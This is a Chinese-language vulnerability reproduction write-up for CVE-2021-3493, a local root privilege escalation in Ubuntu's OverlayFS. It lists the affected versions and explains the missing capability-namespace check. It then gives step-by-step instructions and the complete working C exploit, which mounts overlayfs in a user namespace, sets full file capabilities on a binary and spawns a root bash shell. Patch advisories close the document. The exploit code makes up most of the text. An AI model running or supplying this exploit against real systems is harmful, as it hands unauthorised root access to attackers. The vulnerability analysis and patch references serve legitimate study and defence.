Ubuntu特权提升漏洞（CVE-2021-3493）

漏洞描述

OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题，在该问题中，它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁，因此本地攻击者可以使用它来获得更高的特权。

影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

漏洞分析

Linux支持存储在扩展文件属性中的文件功能，它们的工作方式类似于setuid-bit，但粒度更细。在伪代码中设置文件功能的简化过程如下:

重要的调用是cap_convert_nscap，它检查与名称空间相关的权限。

如果我们从自己的名称空间和挂载上设置文件功能，就不会有问题，而且我们有权限这样做。但当OverlayFS将此操作转发给底层文件系统时，它只调用vfs_setxattr，并跳过cap_convert_nscap中的检查。

这允许在外部命名空间/mount中的文件上设置任意功能，并且在执行过程中应用。

在Linux 5.11中，对cap_convert_nscap的调用被移到了vfs_setxattr中，攻击很难实现。

漏洞利用

操作系统：Ubuntu14.04

EXP下载地址：https://github.com/briskets/CVE-2021-3493

1. 以普通用户登录Ubuntu系统，通过命令“whoami”查看当前用户是否为普通用户；

2. 利用GCC将exp.c生成可在执行程序exp；

3. 执行exp；

4. 通过命令“whoami”查看当前用户是否为root用户，若为root用户，则视为提权成功。

exp.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;
    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);
    char buf[4096];
    ssize_t rd, wr;
    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }
        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }
    close(fi);
    close(fo);
}
static int exploit()
{
    char buf[4096];
    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);
    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);
    uid_t uid = getuid();
    gid_t gid = getgid();
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");
    xwritefile("/proc/self/setgroups", "deny");
    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);
    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);
    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);
    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);
    return 0;
}
int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }
    pid_t child = fork();
    if (child == -1)
        err(1, "fork");
    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }
    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

漏洞修复

更新系统软件包版本。详细版本信息请参考供应商的安全公告。

https://ubuntu.com/security/notices/USN-4915-1

https://ubuntu.com/security/notices/USN-4916-1

https://ubuntu.com/security/notices/USN-4917-1

参考链接

https://ubuntu.com/security/CVE-2021-3493

https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/

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漏洞复现 | CVE-2021-3493 Ubuntu内核提权_黑客技术